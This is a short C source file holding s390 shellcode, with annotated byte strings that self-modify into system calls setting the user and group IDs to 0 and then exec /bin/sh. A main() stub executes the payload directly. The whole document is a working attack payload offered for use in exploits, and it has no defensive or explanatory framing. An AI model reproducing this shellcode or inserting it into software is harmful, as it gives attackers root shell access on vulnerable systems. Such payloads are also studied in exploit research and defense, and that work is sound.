/* setuid/setgid 0 execve s390 shellcode */ /* code by jcyberpunk@thehackerschoice.com */ char shellcode[]= "\x0c\x10" /* bassm %r1,%r0 */ "\x41\x90\x10\x48" /* la %r9,72(%r1) */ "\xa7\xa8\xfb\xb4" /* lhi %r10,-1100 */ "\xa7\x68\x04\x56" /* lhi %r6,1110 */ "\x1a\x6a" /* ar %r6,%r10 */ "\x42\x60\x10\x48" /* stc %r6,72(%r1) */ "\x17\x22" /* xr %r2,%r2 */ "\x0d\xe9" /* basr %r14,%r9 */ "\xa7\x68\x04\x7a" /* lhi %r6,1146 */ "\x1a\x6a" /* ar %r6,%r10 */ "\x42\x60\x10\x49" /* stc %r6,73(%r1) */ "\x0d\xe9" /* basr %r14,%r9 */ "\xa7\x68\x04\x57" /* lhi %r6,1111 */ "\x1a\x6a" /* ar %r6,%r10 */ "\x42\x60\x10\x49" /* stc %r6,73(%r1) */ "\x41\x20\x10\x4c" /* la %r2,76(%r1) */ "\x50\x20\x10\x54" /* st %r2,84(%r1) */ "\x41\x30\x10\x54" /* la %r3,84(%r1) */ "\x17\x44" /* xr %r4,%r4 */ "\x42\x40\x10\x53" /* stc %r4,83(%r1) */ "\x50\x40\x10\x58" /* st %r4,88(%r1) */ "\x41\x40\x10\x58" /* la %r4,88(%r1) */ "\x0d\xe9" /* basr %r14,%r9 */ "\x0b\x17" /* svc n after self-modification */ "\x07\xfe" /* br %r14 */ "\x2f\x62" /* /b */ "\x69\x6e\x2f\x73" /* in/s */ "\x68\x5c"; /* h\ */ main() { void (*z)()=(void*)shellcode; z(); }